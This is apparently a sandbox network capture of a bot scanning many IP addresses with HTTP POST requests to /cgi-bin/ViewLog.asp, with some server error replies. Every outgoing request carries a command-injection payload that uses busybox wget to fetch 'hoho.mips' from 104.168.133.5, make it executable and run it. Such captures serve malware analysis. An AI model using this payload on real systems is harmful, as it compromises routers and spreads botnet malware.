Nov 23, 2023 05:17:49.991106987 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	51626	31.200.111.249	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.201822042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	42008	94.120.225.237	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.223170996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	42360	31.128.218.163	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.273777962 CET	171	IN	HTTP/1.1 500 Server Error Content-Length: 48 Date: Thu, 23 Nov 2023 04:17:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	40638	31.13.70.39	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.348836899 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.957257986 CET	185	IN	HTTP/1.0 400 Date: Thu, 23 Nov 2023 04:17:50 GMT Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 4d 65 74 68 6f 64 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body>Method not supported</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	39150	31.136.119.135	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.366780043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.446233034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.590214014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.622169971 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	55600	31.136.92.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.367683887 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.446233034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.590214014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.622169018 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	38214	85.214.106.121	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.385674953 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.592117071 CET	152	IN	HTTP/1.1 401 Unauthorized connection: keep-alive transfer-encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	47184	31.200.61.146	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.404900074 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	35820	94.120.235.55	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.407315016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	57816	94.120.13.87	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.408915043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	38190	31.136.143.202	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.623322964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.702228069 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.846214056 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:11.878168106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	38118	94.72.88.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.651262999 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:50.864278078 CET	194	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	42688	94.187.117.25	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.658427954 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	60082	31.136.11.35	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:50.724276066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.958266020 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:00.102426052 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.134198904 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	38428	62.29.27.231	8080

Timestamp	Bytes transferred	Direction	Data
